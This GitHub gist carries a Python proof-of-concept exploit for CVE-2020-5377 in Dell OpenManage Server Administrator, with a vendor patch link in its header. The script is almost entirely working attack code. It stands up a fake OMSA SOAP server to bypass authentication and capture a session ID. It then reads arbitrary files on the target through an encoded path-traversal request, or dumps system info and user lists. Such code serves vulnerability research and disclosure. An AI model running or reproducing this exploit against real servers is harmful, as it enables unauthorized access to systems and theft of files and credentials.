Last active
November 23, 2024 19:45
-
-
Save watson0x90/71375251f668029756411edcec383a12 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# This is a proof of concept for CVE-2020-5377, an arbitrary file read in Dell OpenManage Administrator | |
# Proof of concept written by: David Yesland @daveysec with Rhino Security Labs | |
# More information can be found here: | |
# A patch for this issue can be found here: | |
# https://www.dell.com/support/article/en-us/sln322304/dsa-2020-172-dell-emc-openmanage-server-administrator-omsa-path-traversal-vulnerability | |
from xml.sax.saxutils import escape | |
import http.server | |
import ssl | |
import sys | |
import re | |
import os | |
import requests | |
import _thread | |
import urllib3 | |
urllib3.disable_warnings() | |
if len(sys.argv) < 3: | |
print('Usage: python CVE-2020-5377.py <yourIP> <targetIP>:<targetPort>') | |
exit() | |
# This XML to imitate a Dell OMSA remote system comes from https://www.exploit-db.com/exploits/39909 | |
# Also check out https://github.com/hantwister/FakeDellOM | |
class MyHandler(http.server.BaseHTTPRequestHandler): | |
def do_POST(self): | |
data = b'' | |
content_len = int(self.headers.get('content-length', 0)) | |
post_body = self.rfile.read(content_len) | |
self.send_response(200) | |
self.send_header("Content-type", "application/soap+xml;charset=UTF-8") | |
self.end_headers() | |
if b"__00omacmd=getuserrightsonly" in post_body: | |
data = escape("<SMStatus>0</SMStatus><UserRightsMask>458759</UserRightsMask>").encode('utf-8') | |
if b"__00omacmd=getaboutinfo " in post_body: | |
data = escape("<ProductVersion>6.0.3</ProductVersion>").encode('utf-8') | |
if data: | |
requid = re.findall(b'>uuid:(.*?)<', post_body)[0] | |
response = b'''<?xml version="1.0" encoding="UTF-8"?> | |
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:n1="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/DCIM_OEM_DataAccessModule"> | |
<s:Header> | |
<wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To> | |
<wsa:RelatesTo>uuid:'''+requid+b'''</wsa:RelatesTo> | |
<wsa:MessageID>0d70cce2-05b9-45bb-b219-4fb81efba639</wsa:MessageID> | |
</s:Header> | |
<s:Body> | |
<n1:SendCmd_OUTPUT> | |
<n1:ResultCode>0</n1:ResultCode> | |
<n1:ReturnValue>'''+data+b'''</n1:ReturnValue> | |
</n1:SendCmd_OUTPUT> | |
</s:Body> | |
</s:Envelope>''' | |
self.wfile.write(response) | |
else: | |
self.wfile.write(b'''<?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"><s:Header/><s:Body><wsmid:IdentifyResponse><wsmid:ProtocolVersion>http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd</wsmid:ProtocolVersion><wsmid:ProductVendor>Dell Inc.</wsmid:ProductVendor><wsmid:ProductVersion>1.0</wsmid:ProductVersion></wsmid:IdentifyResponse></s:Body></s:Envelope>''') | |
def log_message(self, format, *args): | |
return | |
created_cert = False | |
if not os.path.isfile('./server.pem'): | |
print('[-] No server.pem certificate file found. Generating one...') | |
os.system('openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes -subj "/C=NO/ST=NONE/L=NONE/O=NONE/OU=NONE/CN=NONE.com"') | |
created_cert = True | |
def start_server(): | |
server_class = http.server.HTTPServer | |
httpd = server_class(('0.0.0.0', 443), MyHandler) | |
context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) | |
context.load_cert_chain(certfile='./server.pem') | |
httpd.socket = context.wrap_socket(httpd.socket, server_side=True) | |
httpd.serve_forever() | |
_thread.start_new_thread(start_server, ()) | |
my_ip = sys.argv[1] | |
target = sys.argv[2] | |
def bypass_auth(): | |
values = {} | |
url = "https://{}/LoginServlet?flag=true&managedws=false".format(target) | |
data = {"manuallogin": "true", "targetmachine": my_ip, "user": "VULNERABILITY:CVE-2020-5377", "password": "plz", "application": "omsa", "ignorecertificate": "1"} | |
r = requests.post(url, data=data, verify=False, allow_redirects=False) | |
cookie_header = r.headers['Set-Cookie'] | |
session_id = re.findall('JSESSIONID=(.*?);', cookie_header) | |
path_id = re.findall('Path=/(.*?);', cookie_header) | |
values['sessionid'] = session_id[0] | |
values['pathid'] = path_id[0] | |
return values | |
ids = bypass_auth() | |
session_id = ids['sessionid'] | |
path_id = ids['pathid'] | |
print("Session: " + session_id) | |
print("VID: " + path_id) | |
def read_file(target, sess_id, path_id): | |
while True: | |
file = input('file > ') | |
url = "https://{}/{}/DownloadServlet?help=Certificate&app=oma&vid={}&file={}".format(target, path_id, path_id, file) | |
s = requests.Session() | |
cookies = {"JSESSIONID": sess_id} | |
req = requests.Request(method='GET', url=url, cookies=cookies) | |
prep = req.prepare() | |
prep.url = "https://{}/{}/DownloadServle%74?help=Certificate&app=oma&vid={}&file={}".format(target, path_id, path_id, file) | |
r = s.send(prep, verify=False) | |
print('Reading contents of {}:\n{}'.format(file, r.content.decode('utf-8'))) | |
def get_path(path): | |
if path.lower().startswith('c:\\'): | |
path = path[2:] | |
path = path.replace('\\','/') | |
return path | |
def get_sysinfo(target, sess_id, path_id): | |
url = "https://{}/{}/SysInfo?session=true&vid={}".format(target, path_id, path_id) | |
s = requests.Session() | |
cookies = {"JSESSIONID": sess_id} | |
req = requests.Request(method='GET', url=url, cookies=cookies) | |
prep = req.prepare() | |
prep.url = "https://{}/{}/SysInfo?session=true&vid={}".format(target, path_id, path_id) | |
r = s.send(prep, verify=False) | |
print('RESP:\n{}'.format(r.content.decode('utf-8'))) | |
def list_users(target, sess_id, path_id): | |
url = "https://{}/{}/SysInfo?session=true&vid={}".format(target, path_id, path_id) | |
s = requests.Session() | |
cookies = {"JSESSIONID": sess_id} | |
req = requests.Request(method='GET', url=url, cookies=cookies) | |
prep = req.prepare() | |
prep.url = "https://{}/{}?omacmd=ListUsers&session=true&vid={}".format(target, path_id, path_id) | |
r = s.send(prep, verify=False) | |
print('RESP:\n{}'.format(r.content.decode('utf-8'))) | |
#read_file(target, session_id, path_id) | |
#get_sysinfo(target, session_id, path_id) | |
list_users(target, session_id, path_id) | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment